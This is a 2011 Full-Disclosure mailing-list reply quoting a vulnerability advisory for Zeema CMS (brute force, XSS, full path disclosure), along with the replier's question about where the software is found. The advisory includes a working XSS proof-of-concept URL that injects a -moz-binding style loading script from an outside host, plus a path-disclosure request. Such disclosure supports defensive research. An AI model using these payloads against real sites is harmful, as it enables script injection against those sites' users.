Re: Vulnerabilities in Zeema CMS

[Henri Salo <henri () nerv fi>]

On Sun, Dec 04, 2011 at 03:00:42AM +0200, MustLive wrote:
> Hello list!
>
> I want to warn you about Brute Force, Cross-Site Scripting and Full path
> disclosure vulnerabilities in Zeema CMS. It's Ukrainian commercial CMS.
>
> -------------------------
> Affected products:
> -------------------------
>
> Vulnerable are all versions of Zeema CMS.
>
> ----------
> Details:
> ----------
>
> Brute Force (WASC-11):
>
> http://site/cms/
>
> XSS (WASC-08):
>
> http://site/search/?query=%22%20style=%22-moz-binding:url(http://websecurity.com.ua/webtools/xss.xml%23xss)
>
> Attack will work in Mozilla and Firefox.
>
> Full path disclosure (WASC-13):
>
> http://site/search/?page=10&query=site
>
> ------------
> Timeline:
> ------------
>
> 2011.09.12 - found vulnerabilities during audit. After that client straight
> away informed developers.
> 2011.10.22 - announced at my site.
> 2011.10.23 - informed developers.
> 2011.12.02 - disclosed at my site.
>
> I mentioned about these vulnerabilities at my site
> (http://websecurity.com.ua/5459/).
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua

Again some neverheard software. Where does one find this from internet? Is there a item in issue- or bug-tracker for 
this?

- Henri Salo

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/